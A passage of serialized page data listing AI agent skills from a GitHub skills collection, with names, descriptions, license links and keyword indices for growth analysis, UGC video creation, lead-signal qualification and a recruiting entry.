enrichment.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-recruit\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-recruit\u002FSKILL.md",[140],{"categoryNo":141,"categoryName":142,"taxonomyType":143,"taxonomyTypeDesc":144},"01JBSEEDCAT000000000000038","人力资源","PROFESSION","适用职业",[135,121,93,43,146,147,148,149,150,151,103,152,153,154,130,31,155,156,157,132,110,30],"https","email","enrichment","business","evidence","phone","ranking","post","job description","person","candidate","reason",{"skillNo":159,"name":160,"nameZh":6,"description":161,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":162,"sourceHtmlUrl":163,"categories":164,"keywords":165,"publishedAt":48},"01M6WN8R5RXSMHM9B4D9FAFX42","rea-growth","Analyze a company’s public growth and content through Treg, distinguish observations from hypotheses, and produce an evidence-linked playbook within an approved budget.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-rea-growth\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-rea-growth\u002FSKILL.md",[],[166,167,168,121,93,43,169,170,146,171,122,172,173,174,150,103,175,176,132,110,30],"growth","rea","rea growth","produce","content","playbook","marketing","analyze","public","observations","company",{"skillNo":178,"name":179,"nameZh":6,"description":180,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":181,"sourceHtmlUrl":182,"categories":183,"keywords":184,"publishedAt":48},"01M6WN2EVE3RQRGWAKBT4S7YT2","make-ugc","Create original AI UGC-style product videos through Treg: research hooks, approve a licensed presenter and voice, generate clips, add captions and report costs.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-make-ugc\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-make-ugc\u002FSKILL.md",[],[185,186,121,187,93,188,43,189,190,191,192,193,103,194,195,196,197,198,199,132],"make","make ugc","research","create","Video","Captions","ads","short","hooks","head","style","niche","trending","talking-head","approve",{"skillNo":201,"name":202,"nameZh":6,"description":203,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":204,"sourceHtmlUrl":205,"categories":206,"keywords":207,"publishedAt":48},"01M6WN10ARAA63Y8K1YNGXJ2RM","lead-signals","Find and qualify public buying signals through Treg, rank fitting business accounts and optionally enrich authorized business contact information.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lead-signals\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lead-signals\u002FSKILL.md",[],[208,209,210,121,93,43,211,212,149,213,214,103,215,216,217,218,219,220,221,132],"signals","lead","lead signals","how","find","ready","as","how to","qualify","people","information","enrich","changes","funding"]